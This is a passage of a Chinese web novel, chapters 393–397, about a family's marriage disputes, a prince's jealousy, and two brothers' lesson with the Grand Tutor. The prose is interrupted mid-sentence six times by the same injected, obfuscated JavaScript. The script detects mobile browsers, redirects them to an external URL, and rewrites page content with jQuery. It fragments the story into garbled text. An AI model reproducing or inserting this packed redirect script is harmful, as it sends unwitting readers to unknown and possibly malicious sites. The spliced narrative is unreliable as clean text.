她看向佛堂门外,忍不住破口大骂:“他是疯了还是傻了?我裴家堂堂国公府,怎能娶这等门第不堪、声名狼藉的女子进门!”
“他眼里还有没有我这个母亲!还有没有裴家的列祖列宗!”
她跌坐在蒲团上,捶打着胸口,哭天抢地哭诉道:“我的命怎么这么苦啊,丈夫去得早,儿子又不孝,这是要活活气死我啊!”
“我这样活着还有什么意思,不如**干净!”
她哭嚎着,又开始上演以死相逼的戏码。
但这次,却只是雷声大雨点小,嚷嚷得厉害,眼神却时不时瞟向门口,等着裴明镜来劝,来哄。
然而,一天过去了,两天过去了……
佛堂外静悄悄的,除了有丫鬟按时送来的清淡斋饭,再无任何人前来探望劝慰。
窦淑容气得不行,她看着丫鬟端来的饭菜,愈发恼怒,抬手就打翻掉:“去,告诉世子爷,他若决意要娶祝红玉,那我便绝食,这些饭菜也不必送了。”
丫鬟吓了一跳,看着溅了一地的汤水和菜叶子,也不敢多问,慌忙蹲下身,把散落的东西胡乱捧回托盘,应了一声“是”,便低着头匆匆离开了。
门一关上,窦淑容胸口那股郁气才算稍稍平息了些。
她就不信,裴明镜还能真不管她这个亲娘的死活。
天渐渐变黑,佛堂里一片死寂,冷清得像坟茔。
预想中儿子慌张来劝慰、丫鬟婆子轮番来请的场面,根本没出现。
屋里越来越暗,也越来越冷。
窦淑容摸着饿得有些酸软的肚子,心中恼怒和愤恨翻滚得愈发明显。
她咬牙忍了下去。
这一夜,她几乎是听着自己肚子里“咕噜咕噜”的声音熬过去的。
天刚蒙蒙亮,她就竖着耳朵听外面的动静。
往常这时候,厨房该来送早点了,想着热腾腾的粥和小菜,她忍不住咽了咽口水。
结果她等了半天,日上三竿,也没有人来送饭。
只有小丫鬟伺候着她梳洗。
窦淑容没吃上东西,忍不住大发脾气:“滚,给我滚出去。”
小丫鬟不敢多说,直接退了出去。
窦淑容感觉自己的胃里有一阵火在烧,她顾不得自己许下的豪言壮志,把手伸向了香案上供奉着的糕饼。
可这糕饼摆得实在太明显了,若拿了一个,儿子不就知道她偷吃了么,到时候她的绝食就成了一场笑话。
这么一想,窦淑容又咬牙将手从糕饼上移开,一把抓过一旁隔夜的冷茶。
茶水早就没了一丝热气,茶壶口还落着一点香灰。
她也管不了那么多了,仰起头,大口灌了下去。
她靠着这壶冷茶,
;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16240107|170242||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
又忍了一天一夜。
但裴明镜却迟迟没有出现,也没有人给她送那些热乎的饭菜。
窦淑容蜷缩在蒲团上,心一点点沉了下去。
看来,这一次,儿子是铁了心不顾她的死活了。
就在她饿得头晕眼花之时,裴二夫人身边的大丫鬟茗烟来了。
她冲窦淑容规规矩矩地行了个礼:“大夫人,世子爷这些日子并不在府中。”
“另外,奴婢奉二夫人之命告知夫人一声,世子爷与祝家姑娘的八字已经合过,乃是天作之合,大吉。聘礼昨日巳时,已经正式送往祝府了。”
窦淑容听完如遭雷击。
八字合了?
聘礼送了?
儿子甚至都不在府里。
她这一次是彻底慌了。
她终于清晰地认识到儿子不是在吓唬她,他是真的要娶那个祝红玉,之后甚至很可能要把她送回老宅。
巨大的恐惧顿时席卷了她全身。
窦淑荣明白,她不能再这样下去了。
她猛地从蒲团上爬起来,顾不得头晕眼花了,抓住茗烟的手,着急忙慌道:“我、我知道错了。我不该闹的。”
“你去告诉二夫人,告诉世子爷,我同意这门亲事!”
“祝家姑娘,好,挺好的,性子爽利,能持家……”
她语无伦次,脸上努力挤出悔过和慈祥的表情,却显得格外僵硬。
“我之前是猪油蒙了心,是我不对。我保证,以后一定好好待她,把她当亲生女儿一样看待。你让世子爷来看看我,我可是他的亲娘,他不能不管我啊……”
她开始喋喋不休地说着软话,眼泪滚滚落下。
看着她狼狈的模样,茗烟忍不住在心底感慨:早知今日,何必当初呢。世子爷从前多孝顺啊,大夫人非要把人逼到这个份上。
她轻轻掰开了窦淑容的手,恭敬地回应:“大夫人的话,奴婢一定带到。”
至于带到后,世子爷会不会心软改变主意。
她就不知道了。
第393章 永安王吃醋
得知裴明镜和祝红玉下个月二十五成婚的消息,棠云婋差点没惊掉下巴。
她是怎么也没想到,这两个八竿子打不着的人会凑到一起去。
“窦淑容能同意吗?”她一边吃着谢翊宁从宫里带来的芙蓉酥,一边好奇地询问。
窦淑容眼光那么高,对儿媳妇又那么挑剔,祝红玉被退过亲事,父亲还只是一个从四品。
她知道,怕不是得气晕?
谢翊宁闻言嗤笑一声,语气里带着几分漫不经心的嘲弄:“她同不同意,重要吗?”
“裴明镜的婚事交由裴二夫人一手操办,这态度还不够明显?他对他那位母亲,怕是已经失望透顶,懒得周旋了。”
他原本心里还窝着点火,想着若裴明镜再优柔寡断,他便亲自出手料理那讨厌的窦淑容。
如今见裴明镜快刀斩乱麻,定了亲事又打算将人送走,这口气才算顺了下去。
“这倒也是。”棠云婋赞同地点点头,又拿起一块芙蓉酥,边小口咬着边分析。
“不过说起来,裴大人和祝姑娘年纪就差一岁,容貌瞧着也挺般配。虽说在外人眼里,他们之间的门第是差得远了点,但裴大人自己应该不会在意这个。”
“他那人对普通百姓都挺和气的,不是那等只看门第的迂腐之人。”
听到她语气里似乎带着几分对裴明镜的欣赏,谢翊宁微微坐直身子。
他一双桃花眼眯了眯,随后目光幽幽地落在棠云婋脸上:“哦?是么?听起来,你对他好像很了解啊?连他对普通百姓和气这种小事都记得那么清楚?”
棠云婋正吃得开心,一时没察觉他语气里的异样,顺口就答:“这不是人人皆知么。他之前不是京兆尹嘛,断案公道,名声挺好的呀……”
说到一半,她忽然感觉周遭空气好像冷了点。
一抬头,就对上了谢翊宁那双似笑非笑,明显写着“我不高兴了”的眼睛。
她后知后觉地反应过来,心里“哎呀”一声,连忙把剩下的半块芙蓉酥塞进嘴里,拍拍手上的碎屑,蹭到他身边坐下。
她挽住谢翊宁的胳膊,笑嘻嘻地哄道:“不过呢,他再好也比不上我家王爷呀。”
“你长得比他俊,性子比他好,最重要的是——”
她故意拉长了调子,吊着他的胃口。
“最重要的是什么?”谢翊宁绷着脸看她。
棠云婋眨巴着大眼睛看他:“最重要的是,你是我未来的夫君。别人再好,跟我又有什么关系呢?”
谢翊宁原本板着的脸,听到“我家王爷”时就已经有点绷不住了,听到后边“未来的夫君”几个字,耳根更是悄悄爬上一抹绯红。
他强忍着想要上扬的嘴角,故意别开脸,哼了一声:“说得倒是好听,谁知道你心里是不是真这么想。”
话虽这么说,但语气已经软了下来,连方才那点酸溜溜的气息也散了大半。
他对裴明镜那点未曾宣之于口的心思心知肚明,但他的小王妃对此压根就没察觉过。
她满心满眼都是他。
这么一想,谢翊宁心底那点微不足道的醋意很快就转化成了暗自的得意。
但脸上却还是故作生气的模样。
棠云婋见他这样,决定使出**锏。
她把脑袋靠在他肩膀上蹭了蹭,像只猫儿,声音也比往常要娇得多:“当然是真的啦!比真金还真。你就是天底下最好最好的人,谁也比不了。”
谢翊宁感受着肩头的重量和身边人传来的温热,心里那点小别扭早就烟消云散,只剩下满满的、几乎要溢出来的甜。
他抬手,轻轻刮了刮她的鼻尖,语气满是无奈又宠溺:“……就会说好听话哄本王。”
“才没有,我说的都是实话好不好。”棠云婋坐直了身子,果断转移了话题。
要是再说下去,她是真不知道
;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16240108|170242||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
该怎么哄王爷了。
“咱们赐婚结束好几日了,睿王一案,也该得出结果了吧?”
“嗯,快了,最迟还要两日,应当就出结果了。”谢翊宁点了点头。
果然和他猜测的相差无几。
两日后,文昭帝赐了睿王白绫和毒酒,许他二选一。
睿王妃和年仅三岁的小郡王和一岁的小郡主都被贬为了庶人,逐出王府。
睿王府其他的人,就没有这般侥幸了。
侍卫统领被当场杖杀于庭前,长史、属官皆以“辅佐失职,谏言不力”之罪判斩刑。
府中三百余仆从,或流放边疆,或没入官籍。
女眷充入掖庭为婢,稚子亦不得赦免。
京城里掀起了腥风血雨,朝堂之上,人人自危。
他们已经许久没有见过这样血腥的场面了。
皇上显然十分震怒,才会这样大开杀戒。
与此同时,另一道旨意也跟着降下。
文昭帝给唯一没有封王的五皇子谢承熙赐封号“惠王”。
旨意中强调,待他下个月行完及冠之礼,便须即刻启程,前往远在西南的封地果州,非诏不得回京。
郑德妃知道这个消息眼睛都哭肿了。
她还没做好和儿子分离的准备。
若非景王和康王接二连三的惹事,皇上又怎会早早地把儿子打发出去。
“母妃,莫要哭了。”谢承熙柔声安慰起她。
郑德妃攥着绢帕的手抖得厉害,眼泪止不住地往下掉:“西南那么远。路上奔波,你的腿怎么受得住?”
谢承熙轻轻握住母亲冰凉的指尖,声音温和却坚定:“母妃,儿臣不是瓷做的,一路上慢慢走,总会到的。太医开的药方我都带着,日常注意些,不妨事。”
“那儿人生地不熟,你身边得用的人又不多。”郑德妃越说越心慌。
“万一有点什么事,母妃远在京城,手怎么伸得过去?”
第394章 算计得来的
谢承熙笑了笑,递过一杯热茶:“到了封地,儿臣自有属官护卫,不是孤身一人。再说了……”
他声音放得更轻。
“留在京里,未必就比去封地好。”
留在京城,看起来繁华安逸,实际上和牢笼没有什么区别。
终日活在猜忌和杀机之下,性命朝不保夕。
倒不如去了封地,或许能活得比在京城更自在、更有尊严。
德妃怔了怔,眼泪稍止。
她何尝不明白其中的艰难,只是母子连心,终究舍不得。
她反手紧紧抓住儿子的手,长长叹了口气:“至少让陈太医跟着你去。”
“他最清楚你的腿疾,若你不答应,本宫便是拼着惹怒皇上,也绝不放你走!”
谢承熙看着母亲通红却执拗的眼睛,终是缓缓点头:“好,都听母妃的。”
他不忘叮嘱母妃:“儿臣走了之后,您只管好好保重身子骨,莫要和那些愚蠢之人计较。”
后宫里,四妃折损了两位。
王贵妃先被贬为了美人,如今卢贤妃又被打入了冷宫。
有些蠢货盯紧了空出来的两个妃位,跃跃欲试。
他不想让母妃和那些人搅和在一起。
听着儿子关心的话,郑德妃忍不住泪水涟涟:“母妃知晓。”
本来,她还能再多看儿子几年。
她的承熙那么好,却受了那两个蠢材的拖累,被早早送去就藩。
不然明明可以等到太子继位之后,再去封地。
至于后宫里那些蠢蠢欲动的傻子,她才不会搭理她们。
这几十年过来了,那些人还看不明白么。
除了皇后,皇上对谁都是敷衍了事,面子上过得去就行了。
何必去争那些虚无缥缈的东西。
*
每月十日,是棠云麒兄弟二人约定好要去太傅府上聆听教导的日子。
下了马车,棠云麟大步往太傅府门口走去,棠云麒磨磨蹭蹭地跟在弟弟后头,手里捏着父亲写得密密麻麻的文章,感觉像捏着一块烫手山芋。
棠云麟看着身后慢吞吞的兄长,催促道:“大哥,你快些,迟到了太傅要不高兴的。”
“知道了知道了。”棠云麒小声嘟囔,“又不是去领赏,这么积极干嘛。人家还未必稀罕搭理我们呢。”
“你忘了这机会怎么来的?”棠云麟停下脚步,拧起眉头,语重心长道。
“这是婋婋为了咱们的前程,拼着脸面跟陆家三小姐打赌赢来的。”
“一会儿见了太傅,不论他说什么,咱们只管虚心听着。要紧的是能学到真东西,至于那些不中听的,左耳进右耳出就是了,不必往心里去。”
棠云麟已经做好了心理准备。
陆三小姐是陆老太傅最疼爱的孙女,教导他们的机会又是被婋婋用阳谋算计而来的,太傅就算有些不高兴也很正常。
做事不能只看过程,要看结果。
只要能学到真东西,区区一些难听的话算什么。
棠云麒看着弟弟严肃的表情,连忙跟小鸡啄米似的点头:“放心,我都懂的。”
说完他加快了步伐。
“走吧走吧,早点问完,今日还要回山庄见阿娘和妹妹呢。”
棠云麟赞同地点了点头,也跟了上去。
两人的小厮紧随其后。
太傅府的门房通报完毕,引他们入内时,笑着看向松烟和清泉道:“两位小哥儿就在这门房里吃杯茶,候着吧。”
松烟和清泉点头应下,老老实实地留在了门房。
棠云麒回头看了两个小厮一眼,有点羡慕他们能留在外边。
他还得进去受罪。
等会儿他不仅要把阿爹的文章给太傅,还得把太傅的点评一字不落地背下来回去告诉阿爹。
他怎么那么惨啊!!!
棠家兄弟二人跟着引路的下人,穿过了几重院落,最终来到一处栽着翠竹的雅致小院。
下人在紧闭的书房门停下,躬身道:“老爷,棠家公子到了。”
书房里传出陆老太傅的声音:“进来吧。”
棠云麒二人进去,规规矩矩行了个大礼:“学生棠云麒/棠云麟见过太傅大人。”
陆老太傅坐着,动也没动,只掀了掀眼皮看了他们一眼,开口道:“文章呢?”
棠云麒心里有些发虚,所以慢了一步,棠云麟便先将自己准备好的文章递了过去。
陆老太傅漫不经心地接过来,随意扫了棠云麟的文章一眼:“这起承转合,倒是规矩,看来国子监的先生也没白教。”
可看
;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16240109|170242||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
着看着,他身子不知不觉坐直了。
等到看完,他抬头将棠云麟从头到脚仔细打量了一遍,眼神里那点轻视淡了,多了些惊讶:“这文章……真是你写的?”
“是学生所作,还请太傅指正。”棠云麟不卑不亢。
陆老太傅来了兴致,指着其中一段问道:“这里,你说‘夫国之本在于民,民之丰匮系于国。然民殷而兵羸,犹巨室无枢、坚车无轸,虽金玉盈库,终为寇伺而覆焉。’,何解?你且细细说来。”
“是。”棠云麟应了一声,不疾不徐地将自己的想法说了出来。
陆老太傅听着,忍不住点头。
这个问题问完,他又问了新的问题。
问题一个比一个刁钻。
有时棠云麟能答得漂亮,有时则被问住了,卡在那里。
但他没有硬着头皮胡编,只是认真思索后坦诚道:“此处学生只是略懂一二,未曾深究,还请太傅大人教导。”
见他主动坦诚自己的不足,陆老太傅眼底的惊讶和欣赏更多了。
他便仔细地给棠云麟讲解了起来。
很快,书房里只剩下一老一少的声音,一个问得急,一个答得快。
而棠云麒站在一边,生无可恋。
那些之乎者也听得他头昏脑胀。
他看了一眼说得投入的弟弟,又看看听得入神的陆老太傅,悄悄挪了挪脚。
趁着两人讨论的一个间隙,棠云麒心一横,小声道:“太傅大人,学生内急,能否告退片刻?”
陆老太傅正听到关键处,被打断了很是不耐烦,挥苍蝇似的连连摆手:“去去去,快去快回。”
眼睛却一刻也没离开棠云麟,迫不及待地追问:“刚才说到何处了?继续!”
棠云麒如蒙大赦,赶紧溜出了书房。
他一出去,就有一个小厮带着笑脸迎了过来。
“这位公子,有何吩咐?”
棠云麒赶忙道:“我要解手。”
“小的这就带您去,公子这边请。”小厮躬着身,引着他往东边走去。
起初棠云麒没在意,但越走越觉得不对劲。
这路上的景致怎么越来越精致,回廊也越来越曲折,远处还隐约传来了女眷的说笑声。
这压根不像是去茅房的路。
第395章 谁让你害我
棠云麒猛地想起进国子监前,婋婋身边那个机灵的丫鬟双鲤曾塞给他一本手写的《大户人家防身手册》。
据说那是她跟着婋婋去了那么多宴席,以及听衔蝉总结出来的经验。
这些大户人家里弯弯绕绕极多,肮脏手段层出不穷,他如今已经不是那个走镖的棠镖头了,而是郡主的亲兄长。
保不准就会有人算计他。
算计他,就是打击妹妹。
他可不能让这事发生。
他仔细回想着双鲤递来的册子,里边似乎就有一条:“若遇陌生下人过分殷勤引路,必有所图。”
他心里咯噔一下,知道自己遭了算计,立刻停下脚步。
“怎么了,公子?”小厮见他忽然停下,心里有些紧张。
二夫人让他将今日棠家来的两位公子,不拘哪一位,只要能带走,说他们擅闯内院,冲撞了大夫人和二小姐。
事后就赏他五两银子。
“谁让你来害我的?”棠云麒沉声询问。
小厮不知道自己哪里败露了,顿时露出了惊慌的神色。
棠云麒见他闪躲的眼神,还有什么不明白的。
直接上前一把锁住了他的喉咙,捂着他的嘴,压低声音道:“说,你背后的人是谁?”
小厮感觉自己快喘不上气了。
这位公子怎么一言不合就动手啊。
他赌棠云麒不敢要他的命,于是咬牙狡辩:“公子、您、您误会了……”
棠云麒意识到他不会说实话,又担心他还有同伙,略一思索,直接把人打晕了。
人是打晕了,但也不能随便扔在这,万一被发现了怎么办?
棠云麒略一思索,目光落在了附近的假山处。
他打算把人扔在那,然后离开。
等着小厮醒了,他也已经离开太傅府了。
无凭无据,这事也怪不到他头上。
棠云麒心里暗骂一声倒霉,手上却丝毫不敢怠慢。
他利落地将那晕过去的小厮拖到假山石后一处极其隐蔽的凹陷里,用几块散落的石头稍作遮掩,确保不仔细翻找绝对找不到。
刚松一口气,正准备悄无声息地退出去,猛地一转身。
“唔!”
他结结实实地撞上了一个柔软的身影,对方似乎也完全没料到这里有人,发出一声短促的惊呼,踉跄着向后倒去。
棠云麒反应极快,下意识伸手一把揽住了那人的腰,将人捞了回来。
定睛一看,竟是一位穿着素雅却不失气质的貌美少女。
对方此刻正睁大了一双受惊的眸子看着他,手里还紧紧攥着一个铲子。
这地方偏僻寂静,她一个小姐打扮的姑娘,鬼鬼祟祟地拿着铲子来这里做什么?!
棠云麟脑子里瞬间闪过无数念头:太傅府的小姐难不成还有亲自下地种菜的爱好?
还是说这是京城里最新的防身兵器?看着也不太趁手啊。
她总不能是**埋尸吧?
陆珮君此刻惊魂未定。
她昨日收到消息,听说二婶命人将什么东西埋在她院子附近,她怕被算计了,所以趁着母亲和丫鬟们说笑的时候,悄悄过来自己寻摸。
她万万没想到,竟然会在此撞上一个外男,还被他抱了一下。
她脸颊瞬间变得绯红。
她又急又羞,慌忙挣脱棠云麒的怀抱,后退两步,举着铲子质问他:“你,你是谁?”
棠云麒也尴尬得不行,赶紧拱手:“在下棠云麒,今日随弟弟前来拜见太傅大人。方才实属意外,唐突小姐了,万分抱歉!”
他飞快地解释,眼神却不自觉地瞟向假山后面。
那家伙可千万别这时候醒过来啊。
陆珮君一听他姓棠,又定睛看了看他有些眼熟的脸,随后顿时反应过来了。
这是令嘉郡主的兄长!
她心思细腻,为人聪慧,见棠云麒神色间有一丝难以掩饰的匆忙和警惕,又联想到府中某些人的做派,心下顿时猜到了几分。
自打她害陆玥君被关禁闭,在祠堂里抄家规之后,二婶和继祖母就对她哪哪都看不顺眼了。
棠云麒一个外男,能走到她院子附近,少不了那些人的推波助澜。
她压下慌
;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16249049|170242||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
乱,快速低声道:“这里是内宅偏僻处,棠公子快些离开吧。若被人瞧见,于你于我都是**烦。”
她语气里没有责怪,反而带着一丝善意的提醒,甚至主动侧身让开了路。
棠云麒有些意外地看着这位通情达理、举止却有些奇怪的小姐。
他感激地点点头:“多谢小姐提醒,在下这就走。”
他不敢多留,正要离开,忽然又停住脚步,回头压低声音快速说了一句:“假山后有个晕倒的下人,此人心术不正,小姐也小心些,莫要靠近。”
陆珮君闻言,眼中闪过一丝了然与惊惧,轻轻点了点头,示意他自己明白了。
棠云麒这才转身,凭借着来时的记忆和不错的方向感,迅速朝着外院的方向走去。
重新回到书房门口,就听见里面太傅的声音似乎带着点疑惑。
“嗯?这篇……”
棠云麒心里一咯噔,赶紧快步进去。
只见陆老太傅手里正拿着他先前交上去的父亲写的那篇文章,眉头紧锁,看得极为专注。
他的反应,和之前看棠云麟文章时截然不同。
棠云麟看到兄长,忍不住皱眉:“你怎么去了那么久?”
他不说还好,一说棠云麒就郁闷。
他茅厕还没上呢,就回来了。
“待会跟你说。”他压低声音回应。
这时,陆老太傅才抬起头直勾勾看向棠云麒,语气里没了之前的随意,变得十分严肃。
“棠云麒,这篇文章当真是你所写?”
棠云麒头皮一麻,硬着头皮应道:“是学生所作。”
“哦?”陆老太傅抖了抖手中的纸张,冷笑一声。
“那好,你且与老夫说说,你文章里提及的‘官船耗损’如何与后面‘若能仿前朝市舶司旧例,引民间海商之力,或可疏解’之策相衔接,规避前朝覆辙?”
他这一问,棠云麒瞬间傻眼了。
文章里的词句他认得,但具体深意和背后的考量,乃是父亲所思所想。
他哪里懂。
他张了张嘴,一个字也答不上来。
第396章 该说个媳妇
陆老太傅看着他这副窘迫的样子,脸色顿时变得阴沉。
他将文章往桌上一拍,声音冷了下来。
“文章老辣,见解深刻,非历经世事、饱尝挫败之人不能为。其中郁愤不平之气,藏于字里行间,更非你这般年纪的少年人能有的心境。”
“棠云麒,你竟敢在老夫面前舞弊?”
书房里的空气瞬间凝固了。
棠云麟在一旁急得想开口帮忙解释,却被棠云麒拉住了衣袖。
棠云麒脸涨得通红,不是羞愧,而是觉得辜负了父亲。
他猛地抬起头,眼神不再闪躲,对着太傅“扑通”一声就跪下了。
“太傅大人明鉴!这篇文章确实不是学生写的。”
陆老太傅失望至极。
他看着眼前长得相似的兄弟二人,心底一片失望。
怎么一个这般好学上进,另一个却行这般不择手段的事情。
好不容易求来了机会,竟然还不珍惜。
他冷冷道:“你既无心求学,往后不用来了。”
棠云麒听到这话,豁出去了,快速道:“太傅大人,这篇文章乃是家父所作。家父十一岁中童生,十四岁中秀才,原本是有机会为朝廷效力的。”
“可他被歹人先后三次冒名顶替了录科考,等到沉冤得雪,早已错过了大好年华。”
“如今过了不惑之年,才蒙恩入了国子监,做个九品典籍。”
“他比谁都渴望能得您指点一二。但他年纪大了,实在不好意思亲自来叨扰您,又怕我的文章浅薄污了您的眼,这才让我将他的文章带来,想着万一能听到您一两句点评,也是对他的鼓励。”
他重重磕了个头:“学生愚钝,不爱读书,更写不出这样的文章。刚才怕您责怪所以才说了谎,是学生的错。请太傅责罚!”
“但文章真是家父心血,求您看看吧!”
说完,他就低着头,一副任凭发落的样子。
棠云麟也跟着跪下了,紧张地看着太傅:“求太傅大人再给我们一次机会吧。”
陆老太傅脸上的怒容渐渐消散了。
他沉默地重新拿起那篇文章,目光复杂地又重新看了一遍。
良久,他长长叹了口气,随后有些惋惜地开口:“十四岁的秀才……”
“唉,造化弄人,真是埋没了。”
他冲地上的两人摆了摆手。
“你们先起来吧。”
棠云麒兄弟二人不敢吭声,静静等着他的发落。
陆老太傅的目光再次落回文章上,手指轻轻拂过字迹,喃喃道:“这文章,老夫收了。告诉你父亲,下月初十,若他有空,可亲自来府上一叙。”
棠云麒猛地抬头,简直不敢相信自己的耳朵。
棠云麟也是又惊又喜。
老太傅看着棠云麒,语气缓和了些许:“你虽学业不精,倒有几分赤诚,肯为你父坦言认错。罢了,今日之事就此作罢。你既坐不住,便自去外面等候吧。”
随后又一脸慈爱地看向了棠云麒:“云麟,你过来,我们继续。”
棠云麒松了一口气,赶忙离开。
这一回,他主动揪了一个下人让他领着自己去茅房,总算没出什么岔子。
路过先前往内院的那个垂花门,他下意识地又看了一眼。
也不知道先前那位小姐,是太傅的哪一位孙女?
他一边走一边琢磨。
听说太傅府大小姐已经出嫁,待字闺中的只有二小姐和三小姐。
三小姐上回和妹妹非要比赛还输了,据说为人嚣张跋扈,性子十分不好相处。
这么看来,先前他遇到的只能是陆二小姐了。
就是不知道陆二小姐拿着铲子,究竟要做什么?
今日授课完毕,棠云麒兄弟二人与陆老太傅告辞,上了马车回摘星山庄。
马车刚在山庄门口停稳,棠云麒就第一个跳了下来,换上一副沉重哀伤的表情。
棠云麟跟在他身后,表情如常。
棠风陵和夫人还有女儿正在花厅里闲谈,听到下人说大少爷和二少爷回来了,立刻探头往外看去。
见
;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16249050|170242||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
棠云麒走近,他急忙询问:“太傅大人如何点评我的文章?”
棠云麒重重叹了口气,耷拉着脑袋,声音沉痛:“爹,唉……出了点岔子。”
棠风陵心里咯噔一下,顿时急了:“怎么了?可是太傅大人觉得文章不堪入目,斥责你了?还是他觉得我们棠家子弟投机取巧,生了厌恶?”
他说着,脸色都有些发白了。
棠云婋忙安慰道:“爹爹莫要着急,先听听大哥二哥怎么说。”
棠云麒憋着笑,正想再添油加醋吓唬一下父亲,旁边的棠云麟实在看不下去了,没好气地推了哥哥一把,开口打断了这恶劣的玩笑。
“爹,您别听大哥胡说!太傅大人确实一眼就看出那文章不是大哥写的。”
棠风陵闻言,脸色更白了一分。
棠云麟见自己说的话反倒把父亲吓了一跳,赶忙解释:“太傅说,那文章‘老辣深刻,非历经世事、饱尝挫败之人不能为’,还问了好多文章里的深意呢。大哥答不上来,就老老实实跟太傅交代了,说是您写的。”
棠风陵愣住了,脸上慢慢恢复了血色,他小心翼翼试探道:“那他之后说了什么?”
棠云麟微微一笑,一字一句清晰地传达太傅的话:“太傅收下了您的文章。让您下月初十,若有空,可亲自去府上一叙!”
“真、真的?!”棠风陵一把抓住次子的胳膊,像是要确认这不是做梦。
“太傅大人真愿意见我?他亲口说的?”
“真的。”棠云麟重重点头。
方青鸾听完了全过程,没好气地抬手就照着大儿子结实的后背给了一巴掌,发出清脆一声响。
“你个皮猴子。多大的人了?还当自己是十岁小孩呢?连你爹都敢戏弄。”
“一点正形都没有,半点也不稳重。我看啊,就是欠个人管着你。真该赶紧给你说个媳妇,好好治治你这跳脱的性子。”
听到阿娘提起“说媳妇”,棠云麒没由来的眼前就闪过了今日举着铲子的陆二姑娘。
第397章 大哥不对劲
“就是!”棠风陵听到夫人说要给儿子娶媳妇,从狂喜中回过神来,立刻加入了夫人的阵营。
“你看看哪家小子像你这般年纪还没说亲的?二十岁,别说定亲,娃娃都能满地跑了。”
方青鸾一听这话,开始认真盘算:“是得好好相看相看了。回头我就去打听打听,这京城里有哪些适龄的好姑娘。”
“不过我认识的人不多,恐怕还得让烈国公夫人帮忙参谋参谋。”
说着她又扭头看向一旁的女儿。
“婋婋,你有没有什么好的人选?”
正所谓娶妻娶贤。
两个儿子的媳妇,容色倒是在其次,这品性必须得一等一的好。
最重要的是,还得和他们家婋婋合得来。
毕竟他们婋婋是未来的永安王妃,嫂子若是选得不好,别说帮衬女儿了,不拖后腿都是好的了。
棠云婋忽然被点名,下意识地就摇了摇头。
她认识的大家闺秀横竖就那么几个。
还未嫁人的就是裴芜、嘉敏郡主还有陆珮君了。
裴芜已经在相看,听说过些时日就要定下来了。
嘉敏郡主身份不低,昭明长公主对她那么疼爱,想必她的婚事不会轻易松口。
而陆珮君……
这倒是个不错的姑娘。
只是不知道人家能不能看上她的兄长。
棠云麒一听爹娘这是要动真格的,赶紧把脑袋摇得跟拨浪鼓似的。
他伸手一把将旁边试图隐身看戏的弟弟棠云麟拽了过来。
“诶诶诶!爹,娘!你们要说亲,可得一视同仁,别忘了云麟啊。”
被拉下水的棠云麟愣了一下,白皙的脸庞瞬间泛起一丝不易察觉的红晕。
他无奈地瞥了大哥一眼,轻轻挣开他的胳膊,对着父母端正了神色,语气平和却坚定:
“爹,娘,儿子如今既已入了国子监,便想一心向学,全力以赴准备接下来的科考。功业未定,何以家为?儿子的亲事还是等科举之后,再看缘分吧。”
他这话说得有条有理,沉静稳重,一下子就说服了棠风陵夫妻俩。
于是,两人的目光又齐刷刷地转回了大儿子棠云麒身上。
棠云麒赶忙举手,学着弟弟一本正经的语气表态:“爹,娘,我明年也要考武举。如今正是要紧的时候,我的婚事,也等明年之后再说吧!”
他一边说,一边不着痕迹地朝一旁安静喝茶看戏的妹妹棠云婋抛去了一个求救的眼神。
棠云婋是家里唯一一个有婚事在身的人,她完全没有被催婚的压力。
她故意喝茶不说话。
